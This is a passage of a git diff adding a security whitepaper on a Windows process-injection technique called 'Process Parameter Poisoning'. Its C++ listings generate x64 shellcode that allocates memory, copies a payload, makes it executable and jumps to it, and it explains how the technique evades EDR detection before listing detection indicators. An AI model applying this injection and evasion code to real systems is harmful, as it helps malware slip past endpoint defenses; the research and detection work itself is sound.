arbitrary constant value. And the code generated by `SetArgRegisterStackRelative` writes the stack pointer plus a constant offset to the corresponding argument register. Any additional function arguments can be pushed with the `PushValue` helper method. + +The helper `Call` emits code that aligns the stack pointer to 16 bytes, then performs a call to the given address and lastly reverts any alignment change it initially made. A 16-byte aligned stack pointer is required to prevent crashing in functions that utilize XMM floating point register operations. When calling functions with arguments that are passed on the stack, the alignment needs to be correct before calling this helper. Otherwise, the arguments end up at the wrong stack offset. + +### 5.2 Implementation of Higher Level Operations + +The simplest operation is calling `NtTerminateProcess` or `NtSuspendThread`. Due to their similarity, only `NtTerminateProcess` will be covered, which is shown in Listing 12. `NtTerminateProcess` takes two parameters and follows the x64 calling convention. First, the helper `SetArgRegister` is called for both parameters, to initialize them with the supplied values. Then the API function is called. + +Since the shellcode is generated on the same machine, the address of the function is resolved at the time of generation and not within the shellcode. Resolving API functions is handled by the `WinApiResolver` class. Finally, the `Call` helper method generates the call instruction and stack alignment code. + +```cpp +void ShellCodeWriter::CallTerminateProcess +(HANDLE ProcessHandle, NTSTATUS ExitStatus) +{ + SetArgRegister(0, (uint64_t)ProcessHandle); + SetArgRegister(1, ExitStatus); + WinApiResolver winapi = WinApiResolver::GetInstance(); + Call((uint64_t)winapi.NtTerminateProcess); +} +``` +*Listing 12: Implementation of ShellCodeWriter::CallTerminateProcess* + +Functions that take pointer values such as `LoadLibraryA` and `MessageBoxA`, can't be used in the same way. This is because a valid memory address is required, that is not known at the time of generating the shellcode. Therefore the helper `SetArgRegisterStackRelative` is used to set the argument to an address on the stack. In Listing 13, the module parameter string is written to the stack and the first argument register is set to point to the start of the module string on the stack. Furthermore, the function moves the stack pointer by 32 bytes to account for the shadow space. Without this, the called function would overwrite the module string. + +```cpp +void ShellCodeWriter::CallLoadLibraryA(LPCSTR module) +{ + PushBuffer(module, strlen(module) + 1); + int pos_buf = m_total_consumed_stack_bytes; + // Shadow Space + AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32 + m_total_consumed_stack_bytes += 32; + // Populate arg registers + SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_buf)); + WinApiResolver winapi = WinApiResolver::GetInstance(); + Call((uint64_t)winapi.LoadLibraryA); +} +``` +*Listing 13: Implementation of ShellCodeWriter::CallLoadLibraryA* + +Finally, `LoadAndCallShellCode` takes an arbitrary shellcode that can include zero bytes and executes it. Its implementation is shown in Listings 14 and 15 and is split into the following five operations: + +1. The arbitrary shellcode is written to the stack via `PushBuffer`. Afterwards, the shadow space is allocated to protect the shellcode from being overwritten. +2. Next up, a simple call to `VirtualAlloc` is made that uses parameters already known at the time of generation. This API call allocates memory that is readwrite protected and can fit the shellcode. +3. Afterwards, the memory address returned from `VirtualAlloc` is saved into the two registers `R12` and `R10`. Then `R11` is initialized to the size of the shellcode and `RCX` is set to point to the start of the shellcode. With the registers `R10`, `R11` and `RCX` set, six instructions follow that perform a memory copy, copying the shellcode into the newly allocated memory region. +4. Jumping to the shellcode is not yet possible, since the memory region is readwrite protected. It is possible to allocate a readwrite and executable region, this would however be more likely considered suspicious. Therefore, a call to `VirtualProtect` is made to change the protection to readable and executable but not writable. +5. And lastly, a jump to the shellcode is made, after ensuring the stack is properly aligned. +```cpp +void ShellCodeWriter::LoadAndCallShellCode(const std::vector& shellcode) +{ + // 1. Pushes the shellcode to the stack + PushBuffer(shellcode.data(), shellcode.size()); + int pos_sc = m_total_consumed_stack_bytes; + // Shadow Space + AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32 + m_total_consumed_stack_bytes += 32; + + // 2. Allocates READWRITE memory + CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE); + + { // 3. Copies shellcode from the stack to the newly allocated area + AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest + AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest + SetRAX(shellcode.size()); + AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; size + SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_sc)); + // r10: Shellcode dest ptr + // r11: size + // rcx: Shellcode src ptr + const char* copy_sc = + "\x8A\x01" // mov al, byte ptr ds:[rcx] + "\x41\x88\x02" // mov byte ptr ds:[r10], al + "\x48\xff\xc1" // inc rcx + "\x49\xff\xc2" // inc r10 + "\x49\xff\xcb" // dec r11 + "\x75\xf0"; // jnz -16 + AppendShellCode(copy_sc, 16); + } + // (...) +``` +*Listing 14: Implementation of ShellCodeWriter::LoadAndCallShellCode (Steps 1–3)* + +```cpp + // (...) + { // 4. Changes protection of the newly allocated area to EXECUTE_READ + // VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src); + AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress + SetArgRegister(1, shellcode.size()); + SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect + SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - pos_sc)); + WinApiResolver winapi = WinApiResolver::GetInstance(); + Call((uint64_t)winapi.VirtualProtect); + } + + if (m_total_consumed_stack_bytes % 16) + { + AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax; + m_total_consumed_stack_bytes += 8; + } + + // 5. Jumps to the newly allocated area + AppendShellCode("\x41\xff\xe4", 3); // jmp r12 +} +``` +*Listing 15: Implementation of ShellCodeWriter::LoadAndCallShellCode (Steps 4–5)* + +--- + +## 6. Advantages of Detection Avoidance by this Technique + +One major advantage of this technique is that no processes are created in a suspended state and no threads or processes are suspended during its execution. Creating suspended processes or repeated calls to `SuspendThread` are known indicators used by EDRs for process hollowing, process injection and similar attacks. + +Furthermore, by creating the target process, a handle for the main thread is already available and has the required access for changing its context. + +| Aspect | Classic Injection | Process Parameter Poisoning | +|---|---|---| +| Memory Allocation | `VirtualAllocEx` required | No explicit allocation | +| Memory Write | `WriteProcessMemory` required | Indirect via `CreateProcessW` | +| Redirect Execution | `CreateRemoteThread` or APC | `SetThreadContext` | +| Chance of Detection | High (many suspicious APIs) | Reduced (benign process creation) | +| EDR Telemetry | Closely monitored | Lowered observability | + +Overall, this technique raises much less suspicion as it leaves a smaller fingerprint by using legitimate process creation and thread management APIs. + +--- + +## 7. Detection Approach + +There are several suspicious indicators generated by this technique, that can be used to detect it. + +- `VirtualProtectEx` that makes a memory region executable followed by `SetThreadContext` with at least `CONTEXT_CONTROL`. It is worth noting, that the instruction pointer does not need to be pointing to this executable region, since it can instead point to a gadget that then redirects it. However, it is very likely that a pointer into the memory region is written to one of the CPU registers. +- `VirtualProtectEx` that makes pages of the process parameters executable, both in the own process and in external processes. +- Creation of a process, where one of the three abused parameters raise suspicion. For example, if the entropy of the command line is close to the entropy of shellcode or far from the entropy of a normal command line value. Additionally, the length of the supplied parameter is excessive or many unusual characters will be present in it. However, solely relying on this is likely prone to false positives. +- Reading of a remote process's process parameters structure that the PEB has a pointer to. + +--- + +## 8. Conclusion + +In summary, attackers can bypass modern security solutions through new ideas and small modifications, either by developing new techniques or by reapplying old techniques in novel ways. +Therefore it is important to continuously develop new detection rules and not solely rely on an existing solution. diff --git a/Whitepaper-P3.pdf b/Whitepaper-P3.pdf new file mode 100644 index 0000000..25240be Binary files /dev/null and b/Whitepaper-P3.pdf differ